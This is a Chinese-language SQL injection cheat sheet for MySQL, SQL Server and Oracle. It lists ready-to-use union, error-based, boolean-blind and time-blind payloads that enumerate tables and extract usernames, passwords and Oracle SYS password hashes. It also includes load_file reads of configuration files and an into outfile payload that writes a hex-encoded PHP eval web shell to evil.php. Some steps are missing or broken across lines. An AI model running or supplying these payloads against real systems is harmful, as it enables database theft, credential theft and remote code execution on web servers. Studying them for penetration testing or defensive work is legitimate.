0x01 Mysql
Mysql划分:权限 root 普通用户 版本 mysql>5.0 mysql<5.0
1.1 root权限
load_file和into outfile用户必须有FILE权限,并且还需要知道网站的绝对路径
判断是否具有读写权限
- and (select count(*) from mysql.user)>0#
- and (select count(file_priv) from mysql.user)>#
A、Load_file() 该函数用来读取源文件的函数,只能读取绝对路径的网页文件
注意:路径符号”\”错误 “\”正确 “/”正确,转换成十六进制,不用“”
- id=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,load_file(’/var/www/index.php’)(物理路径转16进制)
可以用来读取数据库连接文件获取数据连接账号、密码等
- ?id=1'and 1=2 union select 1,load_file('D:\\wamp\\www\\111.php')%23
- id=1'and 1=2 union select 1,load_file(0x443A2F77616D702F7777772F312E706870)%23
B、into outfile函数
条件:1. 绝对路径 2.可以使用单引号
- ?id=1 union select 1,"",3 into outfile 'E:/study/WWW/evil.php'
- ?id=1 LIMIT 0,1 INTO OUTFILE 'E:/s
- tudy/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --
1.2 MySQL联合查询
1.2.1 适用于mysql低于5.0版本
- 1.判断是否可以注入
- ?id=1 and 1=1,页面正常
- ?id=1 and 1=2,页面空白
- 2.获得字段数
- order by的方法来判断,比如:
- ?id=1 order by 4 页面显示正常
- ?id=1 order by 5 页面出错,说明字段数等于4
- 3.获得显示位
- ?id=1 and 1=2 union select 1,2,3,4
- //比如,页面上出现了几个数字,分别是2,3,4,那么,这几个数字就被我们称作显示位。
- 4.猜表名
- 猜表名的方法是,在第三步的完整的地址后加上:Form 表名,比如:
- ?id=1 and 1=2 union select 1,2,3,4 from users
- 这样,当users表存在的话,页面就会显示正常,如果我们提交一个不存在的表名,页面就会出错。
-
- 5.猜字段
- 使用:Concat(字段名)替换显示位的位置。
- ?id=1 and 1=2 union select 1,2,3,concat(username,password) from users
1.2.2 适用于Mysql 5.0以上版本支持查表查列
- 1.先判断是否可以注入
- and+1=1,页面正常
- and+1=2,页面空白
- 2.获得字段数:使用order by
- 提交:
- ?id=1 order by 4 正确。
- ?id=1 order by 5 错误。
- 那么,判断出字段数为4。
- 3.获得显示位
-
- 提交:?id=1 +and+1=2+union+select+1,2,3,4
- 显示位为:2,3,4
- 4.获取信息
- ?id=1 +and+1=2+union+select+1,2,3,version()
-
- database()
- user()
- version()
- database()
- @@basedir 数据库安装路径
- @@datadir 数据库路径
- 5.查表
- ?id=1 and 1=2 union select 1,2,3,table_name from information_schema.tables where table_schema=0x74657374(数据库名test的Hex) limit 0,1--
- 得到表:test
-
- 6.查字段
- ?id=1 and 1=2 union select 1,2,3,column_name from
- information_schema.columns where table_name=0x74657374 limit 0,1--
- 得到字段:id,username,password
- 7.爆字段内容
- ?id=1+and+1=2+union+select+1,2,3,concat(username,password) from+test
1.3 MySQL报错注入
mysql暴错注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法。
多种报错注入方式:
- and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
- and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
- and extractvalue(1, concat(0x5c, (select VERSION() from information_schema.tables limit 1)))
- and 1=(updatexml(1,concat(0x3a,(select user())),1))
- and GeometryCollection((select*from(select*from(select @@version)f)x))
- and polygon((select*from(select name_const(version(),1))x))
- and linestring((select * from(select * from(select user())a)b))
- and multilinestring((select * from(select * from(select version())a)b));
- and multipoint((select * from(select * from(select user())a)b));
- and multipolygon((select * from(select * from(select user())a)b));
- and exp(~(select * from(select version())a));
1.4 MySQL盲注
基于布尔型注入
- id=1 and (select length(user()))=20 # 返回正常页面 长度20位
- id=1 and ascii(substring((SELECT username FROM users limit 0,1),1,1))=97
- //截取username第一个数据的ascii值
基于时间型注入
- 1 xor (if(ascii(mid(user()from(1)for(1)))='r',sleep(5),0))
- 1 xor if(ascii(substr(user(),1,1)) like 1124,benchmark(1000000, md5('1')),'2')

SA权限:数据库操作,文件管理,命令执行,注册表读取等
Db权限:文件管理,数据库操作等
Public权限:数据库操作
2.1 SQLServer 联合查询

-
- 2.获取字段数
- ?id=1 order by 2-- 返回正确页面
- ?id=1 order by 3-- 返回错误页面 字段长度为2

-
- 4.查看表名
- ?id=1 and 1=2 union select top 1 TABLE_NAME ,2 from INFORMATION_SCHEMA.TABLES where table_name not in ('users')
-
- 5.查看列名

2.2 SQLServer 报错注入
- 1.获取表名
- ?id=4' and 1>(select top 1 TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_NAME not in ('admin') )--
- 2.获取列名
- ?id=4' and 1>(select top 1 COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin' and column_name not in ('id')) --
-
- 3.获取数据
- ?id=4' and 1=(select top 1 pwd from admin) --
-
- 4.获取数据库信息
- ?id=1' and 1=(select @@version)-- //SQL Server 2000
- ?id=1' and 1=(select db_name()) //当前使用的数据库
2.3 SQLServer 盲注
- 1、猜表名
-
- ?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and len(name)=7)=1 -- //获取第一个表的长度7
-
- ?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and ascii(substring(name,1,1))=116)=1 -- //截取第一个表第一位的ascii码
-
- ?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,1,1))>115)=1 --//猜第二个表的第一位ASCII值
- 得到表名,进一步猜解字段
-
- 2、猜字段
- id=1 and
- (select count(*) from syscolumns where name in (select top 1 name from syscolumns where id=(select id from sysobjects where name='users')) and ascii(substring(name,1,1))=117)=1
- //获取users表第一个字段的ASCII值
-
- id=1 and
- (select count(*) from syscolumns where name in (select top 1 name from syscolumns where id=(select id from sysobjects where name='users') ) and name not in ('upass') and ascii(substring(name,1,1))>90)=1 --
- //获取user表第二个字段的第一位ASCII值
-
- 3、猜数据
- id=1 and (ascii(substring((select top 1 uname from users),1,1)))=33 --
- //获取users表中uname字段的第一位ASCII值
0x03 Oracle
3.1 联合查询
- Union select null,null,null 从第一个null开始加’null’,得到显示位
- Union select null,null,null from dual 返回正确,存在dual表
- Union Select tablespace_name from user_tablespaces //查库
- Union Select table_name from user_tables where rownum = 1 and table_name<>’news’ //查表
- Union Select column_name from user_tab_columns where table_name=’users’ //查列
- ?id=1 order by 1-- //获取字段数
- and+1=1+union+all+select+(SELECT banner FROM v$version where rownum=1)+from+dual--//获取数据库版本
- and+1=1+union+all+select+(select user from dual where rownum=1)+from+dual-- //获取当前连接数据库的用户名
- union+all+select+(select password from sys.user$ where rownum=1 and name='SYS')+from+dual-- -- //获取用户SYS密文密码
- union+all+select+(SELECT name FROM v$database)+from+dual-- //获取库名
- and+1=1+union+all+select+(select table_name from user_tables where rownum=1)+from+dual--//获取第一个表名
3.2 手工显错注入
- 最大的区别就是utl_inaddr.get_host_address这个函数,10g可以调用,11g需要dba高权限
-
- //判断是否是oracle
- ?id=1 and exists(select * from dual)--
- //获取库名
- ?id=1 and 1=utl_inaddr.get_host_address((SELECT name FROM v$database))—-
- //获取数据库服务器所在ip
- ?id=1 and 1=ctxsys.drithsx.sn(1,(select UTL_INADDR.get_host_address from dual where rownum=1))--
- ?id=1 and 1= CTXSYS.CTX_QUERY.CHK_XPATH((select banner from v$version where rownum=1),'a','b')--
- ?id=1 or 1=ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select banner from v$version where rownum=1),'a','b')--
- ?id=1 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
- ?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))--
3.3 盲注
基于布尔类型的盲注:
- ?id=7782' and length((SELECT name FROM v$database))=4-- 获取数据库名长度
- ?id=7782' and ascii(substr((SELECT name FROM v$database),1,1))=79--
- 获取数据库名第一位为O
基于时间延迟的盲注:
- ?id=7782' and 1=(CASE WHEN (ascii(substr((SELECT name FROM v$database),1,1))=79) THEN 1 ELSE 2 END)--
- ?id=7782' AND 1=(CASE WHEN (ascii(substr((SELECT name FROM v$database),1,1))=79) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(108)||CHR(103)||CHR(102)||CHR(102),5) ELSE 1 END)--
